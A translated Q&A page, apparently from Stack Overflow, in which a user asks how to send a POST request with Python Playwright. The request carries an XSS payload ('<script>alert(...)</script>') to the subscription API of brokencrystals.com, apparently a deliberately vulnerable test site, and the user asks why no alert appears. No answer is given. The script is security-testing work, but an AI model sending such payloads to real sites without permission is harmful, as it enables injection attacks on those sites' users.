提问人:Senad 提问时间:10/31/2023 最后编辑:ggorlenSenad 更新时间:10/31/2023 访问量:33
如何使用 Playwright 和 python 发送发布请求
How to send post request with Playwright and python
问:
例如,如果您转到 https://brokencrystals.com 站点,并且在底部有订阅字段,如果插入 xss 有效负载,您将收到警报。在 inspect 元素中,你将看到 api 请求/响应。所以我创建了简单的脚本来使用 python 和 Playwright 自动化它:
from playwright.async_api import async_playwright
import asyncio
import time
import os
import datetime
from crawler.auth_object import get_headers
async def main():
LOGIN_URL = input("Please enter the login url: ").strip()
BASE_URL = input("Please enter the base url: ").strip()`
async with async_playwright() as p:
browser = await p.firefox.launch(headless=False)
context = await browser.new_context(
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
viewport={"width": 1920, "height": 1080},
base_url=BASE_URL
)
page = await context.new_page()
api_request_context = context.request
await page.goto("https://brokencrystals.com/", timeout=120000)
await page.wait_for_load_state("networkidle", timeout=120000)
response = await api_request_context.post(
"/api/subscriptions?email=%3Cscript%3Ealert%283468021410%29%3C%2Fscript%3E"
)
print(response)
if __name__ == "__main__":
asyncio.run(main())`
打印响应:
<APIResponse
url='https://brokencrystals.com/api/subscriptions?email=%3Cscript%3Ealert%283468021410%29%3C%2Fscript%3E'
status=201
status_text='Created'>
表示没问题,但屏幕上没有警报。是否可以像常规发布请求一样发出此请求并在屏幕上收到警报?请指教
我想重现手动请求发送发布请求,而不填写输入字段,只是为了发送发布请求。请注意,此帖子请求不使用帖子数据,而是通过 url 发送数据。(其实不重要,我只需要一种方法来重现它)
谢谢
答: 暂无答案
评论